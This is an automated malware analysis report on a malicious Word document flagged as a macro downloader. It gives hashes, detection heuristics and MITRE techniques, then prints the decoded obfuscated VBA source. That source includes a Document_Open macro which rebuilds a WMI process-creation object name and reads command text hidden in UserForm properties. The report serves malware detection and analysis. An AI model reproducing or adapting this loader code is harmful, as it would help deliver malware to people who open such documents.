Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a67cf0d9b60d28e8…

MALICIOUS

Office (OLE)

232.2 KB Created: 2020-08-17 12:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 101ca0e6740e8c8fe55230fa49ce5fcd SHA-1: ba8d92a8505f61f75700349c63e47c55397e595b SHA-256: a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of a downloader. The 'CreateObject' call and obfuscated code suggest an attempt to execute arbitrary code. The ClamAV detection 'Doc.Downloader.Generic-9369626-0' further supports this assessment, indicating the file's purpose is to download additional malicious content.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9369626-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9369626-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10175 bytes
SHA-256: a3c90802db126839848df905417d92df6588bc70a4b114047bf2f154b8aa6b85
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vunne500ze40sj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
R889j4f5bzers7i.D23pzqutyj9y5t
End Sub


Attribute VB_Name = "R889j4f5bzers7i"
Attribute VB_Base = "0{808ADC87-000C-4410-80E8-F829162BE661}{BC8C7015-32A4-4181-A29E-81FBFAA5F60C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function D23pzqutyj9y5t()
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
K77vi7o6cn7xu29d = R889j4f5bzers7i.HelpContextId + 100
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Kjjf63t5baf1m = ChrW(K77vi7o6cn7xu29d + (100 + 35) / 9)
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Kkgvh7xm2bnov_lttw = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Kjjf63t5baf1m + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + R889j4f5bzers7i.Mljcit2k_p0a + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Kbk2rw1ixrrvegiirp = Ujvipc1m175xd(Kkgvh7xm2bnov_lttw)
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Set Ivot5_zft3_acv = CreateObject(Kbk2rw1ixrrvegiirp)
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Y4p6qovvqq_yp_ = R889j4f5bzers7i.Bzah1dislqe0.ControlTipText
   If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bw
... (truncated)

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